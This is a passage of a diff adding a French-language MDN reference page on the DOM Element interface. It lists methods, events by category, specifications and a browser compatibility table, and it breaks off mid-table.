+ <dd>Retourne un {{jsxref("Boolean")}} indiquant si l'élément serait sélectionné ou non par la chaîne de sélection spécifiée.</dd>
+ <dt>{{DOMxRef("Element.pseudo()")}} {{Experimental_Inline}}</dt>
+ <dd>Retourne un {{DOMxRef("CSSPseudoElement")}} représentant les pseudo-élément enfants correspondant au sélecteur de pseudo-élément fourni.</dd>
+ <dt>{{domxref("Element.querySelector()")}}</dt>
+ <dd>Retourne le premier {{domxref("Node")}} correspondant à la chaîne du sélecteur spécifiée par rapport à l'élément.</dd>
+ <dt>{{domxref("Element.querySelectorAll")}}</dt>
+ <dd>Retourne une {{domxref("NodeList")}} des noeuds qui correspondent à la chaîne du sélecteur par rapport à l'élément.</dd>
+ <dt>{{domxref("Element.releasePointerCapture")}}</dt>
+ <dd>Relâche (arrête) la capture de pointeur précédemment définie pour un {{domxref("PointerEvent","évènement pointeur")}} spécifique.</dd>
+ <dt>{{domxref("ChildNode.remove()")}} {{experimental_inline}}</dt>
+ <dd>Supprime l'élément de la liste des enfants de son parent.</dd>
+ <dt>{{domxref("Element.removeAttribute()")}}</dt>
+ <dd>Supprime l'attribut nommé du noeud courant.</dd>
+ <dt>{{domxref("Element.removeAttributeNS()")}}</dt>
+ <dd>Supprime l'attribut avec le nom et l'espace de nom spécifiés du noeud actuel.</dd>
+ <dt>{{domxref("EventTarget.removeEventListener()")}}</dt>
+ <dd>Supprime un écouteur d'évènement de l'élément.</dd>
+ <dt>{{domxref("Element.requestFullscreen()")}} {{experimental_inline}}</dt>
+ <dd>Demande de manière asynchrone au navigateur de mettre l'élément en plein écran.</dd>
+ <dt>{{domxref("Element.requestPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Permet de demander de manière asynchrone que le pointeur soit verrouillé sur l'élément donné.</dd>
+ <dt>{{domxref("Element.scroll()")}}</dt>
+ <dd>Défile vers les coordonnées fournises au sein d'un élément.</dd>
+ <dt>{{domxref("Element.scrollBy()")}}</dt>
+ <dd>Défile au sein d'un élément d'autant de pixels que demandé.</dd>
+ <dt>{{domxref("Element.scrollIntoView()")}} {{experimental_inline}}</dt>
+ <dd>Fait défiler la page jusqu'à ce que l'élément entre dans la vue.</dd>
+ <dt>{{domxref("Element.scrollTo()")}}</dt>
+ <dd>Défile vers les coordonnées fournises au sein d'un élément.</dd>
+ <dt>{{domxref("Element.setAttribute()")}}</dt>
+ <dd>Définit la valeur d'un attribut nommé du nœud actuel.</dd>
+ <dt>{{domxref("Element.setAttributeNS()")}}</dt>
+ <dd>Définit la valeur de l'attribut avec le nom et l'espace de noms spécifiés, à partir du nœud actuel.</dd>
+ <dt>{{domxref("Element.setCapture()")}} {{non-standard_inline}}</dt>
+ <dd>Configure la capture d'évènements de souris, en redirigeant tous les évènements de la souris vers cet élément.</dd>
+ <dt>{{domxref("Element.setPointerCapture()")}}</dt>
+ <dd>Désigne un élément spécifique en tant que cible de capture des futurs <a href="https://developer.mozilla.org/fr/docs/Web/API/Pointer_events">évènements de pointeur</a>.</dd>
+ <dt>{{DOMxRef("Element.toggleAttribute()")}}</dt>
+ <dd>Alterne un attribut booléen sur l'élément spécifié, le supprimant s'il est présent et l'ajoutant s'il est absent.</dd>
+ <dt>
+ <h3 id="Méthodes_obsolètes"><span lang="fr"><span>Méthodes obsolètes</span></span></h3>
+ </dt>
+ <dt>{{domxref("Element.getAttributeNode()")}}{{obsolete_inline}}</dt>
+ <dd>Retrouve la représentation du noeud de l'attribut nommé depuis le noeud courant et le retourne comme un {{domxref("Attr")}}.</dd>
+ <dt>{{domxref("Element.getAttributeNodeNS()")}}{{obsolete_inline}}</dt>
+ <dd>Retrouve la représentation du noeud de l'attibut avec le nom spécifié et l'espace de noms, depuis le noeud courant, et le retourne comme un {{domxref("Attr")}}.</dd>
+ <dt>{{domxref("Element.removeAttributeNode()")}} {{obsolete_inline}}</dt>
+ <dd>Supprime la représentation du noeud de l'attibut nommé du noeud actuel.</dd>
+ <dt>{{domxref("Element.setAttributeNode()")}} {{obsolete_inline}}</dt>
+ <dd>Définit la représentation de noeud de l'attribut nommé à partir du noeud actuel.</dd>
+ <dt>{{domxref("Element.setAttributeNodeNS()")}} {{obsolete_inline}}</dt>
+ <dd>Synchronise la représentation du nœud de l'attribut avec le nom et l'espace de noms spécifiés, à partir du nœud actuel.</dd>
+</dl>
+
+<h2 id="Évènements">Évènements</h2>
+
+<p><span class="tlid-translation translation" lang="fr"><span title="">Ecoute ces évènements en utilisant</span></span> <code>addEventListener()</code> ou en assignant un <span class="tlid-translation translation" lang="fr"><span title="">écouteur d'évènement</span></span> (event listener) au <code>on<em>eventname</em></code> propriété de cette interface.</p>
+
+<dl>
+ <dt>{{domxref("Element/cancel_event", "cancel")}}</dt>
+ <dd>Déclenche sur {{HTMLElement("dialog")}} lorsque l'utilisateur indique au navigateur qu'il souhaite fermer la boîte de dialogue en cours. Pour exemple, le navigateur peut déclencher cet évènement lorsque l'utilisateur appuie sur la touche <kbd>Esc</kbd> ou clique sur le bouton "Ferme le dialogue" <span class="tlid-translation translation" lang="fr"><span title="">qui fait partie de l'interface utilisateur du navigateur</span></span> .<br>
+ Aussi disponible via la propriété {{domxref("GlobalEventHandlers/oncancel", "oncancel")}}.</dd>
+ <dt>{{domxref("Element/error_event", "error")}}</dt>
+ <dd>Déclenché quand le chargement d'une ressource échoue, ou qu'elle ne peut pas être utilisée. Par exemple, il sera déclenché si un script contient une erreur d'exécution ou une image ne peut être trouvée ou est invalide.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onerror", "onerror")}}.</dd>
+ <dt>{{domxref("Element/scroll_event", "scroll")}}</dt>
+ <dd>Déclenché quand la vue du document un élément a été défilé.<br>
+ Il est aussi disponible via la propriété {{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}}.</dd>
+ <dt>{{domxref("Element/select_event", "select")}}</dt>
+ <dd>Déclenché quand une portion de texte a été sélectionnée.<br>
+ Il est aussi disponible via la propriété {{DOMxRef("GlobalEventHandlers.onselect", "onselect")}}.</dd>
+ <dt>{{domxref("Element/show_event", "show")}}</dt>
+ <dd>Déclenché quand un évènement {{domxref("Element/contextmenu_event", "contextmenu")}} est lui-même déclenché et bouillonne jusqu'à un élément ayant un attribut <code><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/html/Global_attributes/contextmenu">contextmenu</a></code>. {{deprecated_inline}}<br>
+ Il est aussi disponible via la propriété {{DOMxRef("GlobalEventHandlers.onshow", "onshow")}}.</dd>
+ <dt>{{domxref("Element/wheel_event","wheel")}}</dt>
+ <dd>Déclenché quand l'utilisateur tourne une molette sur un appareil avec pointeur (typiquement, une souris).<br>
+ Il est aussi disponible via la propriété {{DOMxRef("GlobalEventHandlers.onwheel", "onwheel")}}.</dd>
+ <dt>
+ <h3 id="Évènements_du_presse-papiers">Évènements du presse-papiers</h3>
+ </dt>
+ <dt>{{domxref("Element/copy_event", "copy")}}</dt>
+ <dd><span class="tlid-translation translation" lang="fr"><span title="">Déclenché lorsque l'utilisateur lance une action de copie via l'interface utilisateur du navigateur.</span></span><br>
+ Aussi disponible via la propiété {{domxref("HTMLElement/oncopy", "oncopy")}}.</dd>
+ <dt>{{domxref("Element/cut_event", "cut")}}</dt>
+ <dd><span class="tlid-translation translation" lang="fr"><span title="">Déclenché lorsque l'utilisateur lance une action de couper via l'interface utilisateur du navigateur.</span></span><br>
+ Aussi disponible via la propriété {{domxref("HTMLElement/oncut", "oncut")}}.</dd>
+ <dt>{{domxref("Element/paste_event", "paste")}}</dt>
+ <dd><span class="tlid-translation translation" lang="fr"><span title="">Déclenché lorsque l'utilisateur lance une action de coller via l'interface utilisateur du navigateur.</span></span><br>
+ Aussi disponible via la propriété {{domxref("HTMLElement/onpaste", "onpaste")}}.</dd>
+ <dt>
+ <h3 id="Évènements_de_composition">Évènements de composition</h3>
+ </dt>
+ <dt>{{domxref("Element/compositionend_event", "compositionend")}}</dt>
+ <dd><span class="tlid-translation translation" lang="fr"><span title="">Déclenché quand un système de composition de </span></span>texte tel qu'un {{glossary("input method editor")}} complète ou annule la session actuelle de composition.</dd>
+ <dt>{{domxref("Element/compositionstart_event", "compositionstart")}}</dt>
+ <dd><span class="tlid-translation translation" lang="fr"><span title="">Déclenché quand un système de composition de </span></span>texte tel qu'un {{glossary("input method editor")}} démarre une nouvelle session de composition.</dd>
+ <dt>{{domxref("Element/compositionupdate_event", "compositionupdate")}}</dt>
+ <dd>Déclenché quand un nouveau caractère est reçu dans le contexte d'une session de composition de texte contrôlée par un système de composition de texte tel qu'un {{glossary("input method editor")}}.</dd>
+ <dt>
+ <h3 id="Évènements_de_focale">Évènements de focale</h3>
+ </dt>
+ <dt>{{domxref("Element/blur_event", "blur")}}</dt>
+ <dd>Déclenché quand un élément a perdu la focale.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onblur", "onblur")}}.</dd>
+ <dt>{{domxref("Element/focus_event", "focus")}}</dt>
+ <dd>Déclenché quand un élément a obtenu la focale.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onfocus", "onfocus")}}.</dd>
+ <dt>{{domxref("Element/focusin_event", "focusin")}}</dt>
+ <dd>Déclenché quand un élément est sur le point d'obtenir la focale.</dd>
+ <dt>{{domxref("Element/focusout_event", "focusout")}}</dt>
+ <dd>Déclenché quand un élément est sur le point de perdre la focale.</dd>
+ <dt>
+ <h3 id="Évènements_de_plein_écran">Évènements de plein écran</h3>
+ </dt>
+ <dt>{{domxref("Element/fullscreenchange_event", "fullscreenchange")}}</dt>
+ <dd>Envoyé à un {{domxref("Element")}} quand il transite vers ou depuis un état de <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fullscreen_API/Guide">plein écran</a>.<br>
+ Il est aussi disponible via la propriété {{domxref("Element.onfullscreenchange", "onfullscreenchange")}}.</dd>
+ <dt>{{domxref("Element/fullscreenerror_event", "fullscreenerror")}}</dt>
+ <dd>Envoyé à un <code>Element</code> si une erreur survient en tentant de passer vers ou de quitter le <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fullscreen_API/Guide">plein écran</a>.<br>
+ Il est aussi disponible via la propriété {{domxref("Element.onfullscreenerror", "onfullscreenerror")}}.</dd>
+ <dt>
+ <h3 id="Évènements_de_clavier">Évènements de clavier</h3>
+ </dt>
+ <dt><code>{{domxref("Element/keydown_event", "keydown")}}</code></dt>
+ <dd>Déclenché quand une touche est pressée.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onkeydown", "onkeydown")}}.</dd>
+ <dt><code>{{domxref("Element/keypress_event", "keypress")}}</code></dt>
+ <dd>Déclenché quand une touche produit un caractère est pressée. {{deprecated_inline}}<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onkeypress", "onkeypress")}}.</dd>
+ <dt><code>{{domxref("Element/keyup_event", "keyup")}}</code></dt>
+ <dd>Déclenché quand une touche est relâchée.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onkeyup", "onkeyup")}}.</dd>
+ <dt>
+ <h3 id="Évènements_de_souris">Évènements de souris</h3>
+ </dt>
+ <dt>{{domxref("Element/auxclick_event", "auxclick")}}</dt>
+ <dd>Déclenché quand un bouton secondaire d'un appareil de pointage (par exemple, tout bouton d'une souris autre que le gauche) est pressé et relâché sur le même élément.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onauxclick", "onauxclick")}}.</dd>
+ <dt>{{domxref("Element/click_event", "click")}}</dt>
+ <dd>Déclenché quand un bouton d'un appareil de pointage (par exemple, le clic gauche d'une souris) est pressé et relâché sur le même élément.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onclick", "onclick")}}.</dd>
+ <dt>{{domxref("Element/contextmenu_event", "contextmenu")}}</dt>
+ <dd>Déclenché quand l'utilisateur tente d'ouvrir un menu contextuel.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/oncontextmenu", "oncontextmenu")}}.</dd>
+ <dt>{{domxref("Element/dblclick_event", "dblclick")}}</dt>
+ <dd>Déclenché quand un bouton d'un appareil de pointage (par exemple, le clic gauche d'une souris) est cliqué deux fois sur le même élément.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/ondblclick", "ondblclick")}}.</dd>
+ <dt>{{domxref("Element/DOMActivate_event", "DOMActivate")}} {{Deprecated_Inline}}</dt>
+ <dd>Déclenché quand un élément est activé, par exemple, par le biais d'un clic de souris ou d'une pression de touche sur un clavier.</dd>
+ <dt>{{domxref("Element/mousedown_event", "mousedown")}}</dt>
+ <dd>Déclenché quand un bouton d'un appareil de pointage est pressé sur un élément.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onmousedown", "onmousedown")}}.</dd>
+ <dt>{{domxref("Element/mouseenter_event", "mouseenter")}}</dt>
+ <dd>Déclenché quand un appareil de pointage (généralement une souris) est déplacé à l'intérieur de l'élément sur lequel l'écouteur est attaché.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onmouseenter", "onmouseenter")}}.</dd>
+ <dt>{{domxref("Element/mouseleave_event", "mouseleave")}}</dt>
+ <dd>Déclenché quand un appareil de pointage est déplacé à l'extérieur de l'élément sur lequel l'écouteur est attaché.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onmouseleave", "onmouseleave")}}.</dd>
+ <dt>{{domxref("Element/mousemove_event", "mousemove")}}</dt>
+ <dd>Déclenché quand un appareil de pointage est déplacé au sein de l'élément sur lequel l'écouteur est attaché.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onmousemove", "onmousemove")}}.</dd>
+ <dt>{{domxref("Element/mouseout_event", "mouseout")}}</dt>
+ <dd>Déclenché quand un appareil de pointage est déplacé à l'extérieur de l'élément sur lequel l'écouteur est attaché ou sur un de ses enfants.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onmouseout", "onmouseout")}}.</dd>
+ <dt>{{domxref("Element/mouseover_event", "mouseover")}}</dt>
+ <dd>Déclenché quand un appareil de pointage est déplacé au sein de l'élément sur lequel l'écouteur est attaché ou sur un de ses enfants.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onmouseover", "onmouseover")}}.</dd>
+ <dt>{{domxref("Element/mouseup_event", "mouseup")}}</dt>
+ <dd>Déclenché quand un bouton d'un appareil de pointage est relâché sur un élément.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/onmouseup", "onmouseup")}}.</dd>
+ <dt>{{domxref("Element/webkitmouseforcechanged_event", "webkitmouseforcechanged")}}</dt>
+ <dd>Déclenché à chaque fois que le niveau de pression sur un écran tactile change.</dd>
+ <dt>{{domxref("Element/webkitmouseforcedown_event", "webkitmouseforcedown")}}</dt>
+ <dd>Déclenché après l'évènement de pression de bouton d'un appareil de pointage à la condition qu'une pression suffisante ait été produite pour la qualifier de "clic forcé".</dd>
+ <dt>{{domxref("Element/webkitmouseforcewillbegin_event", "webkitmouseforcewillbegin")}}</dt>
+ <dd>Déclenché avant l'évènement {{domxref("Element/mousedown_event", "mousedown")}}.</dd>
+ <dt>{{domxref("Element/webkitmouseforceup_event", "webkitmouseforceup")}}</dt>
+ <dd>Déclenché après l'évènement {{domxref("Element/webkitmouseforcedown_event", "webkitmouseforcedown")}} à la condition qu'une pression suffisamment en baisse ait été observée pour mettre fin au "clic forcé".</dd>
+ <dt>
+ <h3 id="Évènements_de_toucher">Évènements de toucher</h3>
+ </dt>
+ <dt>{{domxref("Element/touchcancel_event", "touchcancel")}}</dt>
+ <dd>Déclenché quand un ou plusieurs points de toucher ont été altérés d'une manière relative à l'implantation (par exemple, trop de points de contacts ont été créés).<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/ontouchcancel", "ontouchcancel")}}.</dd>
+ <dt>{{domxref("Element/touchend_event", "touchend")}}</dt>
+ <dd>Déclenché quand un ou plusieurs points de toucher sont retirés de la surface tactile.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/ontouchend", "ontouchend")}}</dd>
+ <dt>{{domxref("Element/touchmove_event", "touchmove")}}</dt>
+ <dd>Déclenché quand un ou plusieurs points de toucher sont déplacés sur la surface tactile.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/ontouchmove", "ontouchmove")}}</dd>
+ <dt>{{domxref("Element/touchstart_event", "touchstart")}}</dt>
+ <dd>Déclenché quand un plusieurs points de toucher sont placés sur la surface tactile.<br>
+ Il est aussi disponible via la propriété {{domxref("GlobalEventHandlers/ontouchstart", "ontouchstart")}}.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Animations", '', '')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Ajoute la méthode <code>getAnimations()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Undo Manager', '', 'Element')}}</td>
+   <td>{{Spec2('Undo Manager')}}</td>
+   <td>Ajoute les propriétés <code>undoScope</code> et <code>undoManager</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events 2', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Events 2')}}</td>
+   <td>Ajoute les gestionnaires d'évènements suivants : <code>ongotpointercapture</code> et<code>onlostpointercapture</code>.<br>
+    Ajoute les méthodes suivantes : <code>setPointerCapture()</code> et <code>releasePointerCapture()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Ajoute les gestionnaires d'évènements suivants : <code>ongotpointercapture</code> et <code>onlostpointercapture</code>.<br>
+    Ajoute les méthodes suivantes : <code>setPointerCapture()</code> et <code>releasePointerCapture()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Ajoute les méthodes suivantes : <code>querySelector()</code> et <code>querySelectorAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Ajoute la méthode<code>requestPointerLock()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#api', 'Element')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Ajoute la méthode <code>requestFullscreen().</code></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Ajoute les propriétés suivantes : <code>innerHTML</code> et <code>outerHTML</code>.<br>
+    Ajoute les méthodes suivantes : <code>insertAdjacentHTML()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Ajoute les propriétés suivantes : <code>scrollTop</code>, <code>scrollLeft</code>, <code>scrollWidth</code>, <code>scrollHeight</code>, <code>clientTop</code>, <code>clientLeft</code>, <code>clientWidth</code> et <code>clientHeight</code>.<br>
+    Ajoute les méthodes suivantes : <code>getClientRects()</code>, <code>getBoundingClientRect()</code> et <code>scrollIntoView()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Ajoute l'héritage de l'interface {{domxref("ElementTraversal")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Supprime les méthodes suivantes : <code>closest()</code>, <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, et <code>setIdAttributeNode()</code>.<br>
+    Supprime la propriété <code>schemaTypeInfo</code>.<br>
+    Modifie la valeur retournée de <code>getElementsByTag()</code> et <code>getElementsByTagNS()</code>.<br>
+    Déplace <code>hasAttributes()</code> de l'interface <code>Node</code> ici.<br>
+    Insère<code>insertAdjacentElement()</code> et <code>insertAdjacentText()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Ajoute les méthodes suivantes : <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code> et <code>setIdAttributeNode()</code>. Ces méthodes n'ont jamais été implémentées et ont été supprimées dans des spécifications ultérieures.<br>
+    Ajoute la propriété <code>schemaTypeInfo</code>. Cette propriété n'a jamais été implémentée et a été supprimée dans des spécificationq ultérieures.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>La méthode <code>normalize()</code> a été déplacée vers {{domxref("Node")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>children</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>7.0 with a significant bug [1]<br>
+    9.0 according to the spec</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>childElementCount</code>, <code>nextElementSibling</code>, <code>previousElementSibling</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>firstElementChild</code>, <code>lastElementChild</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>9.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>classList</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>outerHTML</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("11")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>clientLeft</code>, <code>clientTop</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>getBoundingClientRect()</code>, <code>getClientRects()</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>querySelector()</code>, <code>querySelectorAll()</code></td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>8.0</td>
+   <td>10.0</td>
+   <td>3.2 (525.3)</td>
+  </tr>
+  <tr>
+   <td><code>insertAdjacentHTML()</code> {{experimental_inline}}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("8")}}</td>
+   <td>4.0</td>
+   <td>7.0</td>
+   <td>4.0 (527)</td>
+  </tr>
+  <tr>
+   <td><code>setCapture() </code>{{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>oncopy</code>, <code>oncut</code>, <code>onpaste</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.9")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td></td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>onwheel</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("17")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>ongotpointercapture</code>, <code>onlostpointercapture</code>, <code>setPointerCapture()</code>, and <code>releasePointerCapture()</code></td>
+   <td>{{CompatChrome(52.0)}} [4]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}} <sup>[3]</sup></td>
+   <td>10.0</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>matches()</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}} with the non-standard name <code>webkitMatchesSelector</code></td>
+   <td>{{CompatVersionUnknown}} {{property_prefix("webkit")}} {{property_prefix("ms")}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}} with the non-standard name <code>mozMatchesSelector</code><br>
+    {{CompatGeckoDesktop("34")}} with the standard name</td>
+   <td>9.0 with the non-standard name <code>msMatchesSelector</code></td>
+   <td>11.5 with the non-standard name <code>oMatchesSelector</code><br>
+    15.0 with the non-standard name <code>webkitMatchesSelector</code></td>
+   <td>5.0 with the non-standard name <code>webkitMatchesSelector</code></td>
+  </tr>
+  <tr>
+   <td><code>requestPointerLock()</code></td>
+   <td>16.0 {{property_prefix("webkit")}}, behind an about:flags<br>
+    22.0 {{property_prefix("webkit")}} (with special cases, progressively lifted see [2])</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("14")}}{{property_prefix("moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>requestFullscreen()</code></td>
+   <td>14.0 {{property_prefix("webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("10")}} {{property_prefix("moz")}}</td>
+   <td>11.0 {{property_prefix("ms")}}</td>
+   <td>12.10<br>
+    15.0 {{property_prefix("webkit")}}</td>
+   <td>5.1 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>undoManager</code> and <code>undoScope</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}} (behind the <code>dom.undo_manager.enabled</code> pref)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>attributes</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22")}}<br>
+    Before this it was available via the {{domxref("Node")}} interface that any <code>element</code> inherits.</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>scrollTopMax()</code> and <code>scrollLeftMax()</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("16")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>closest()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
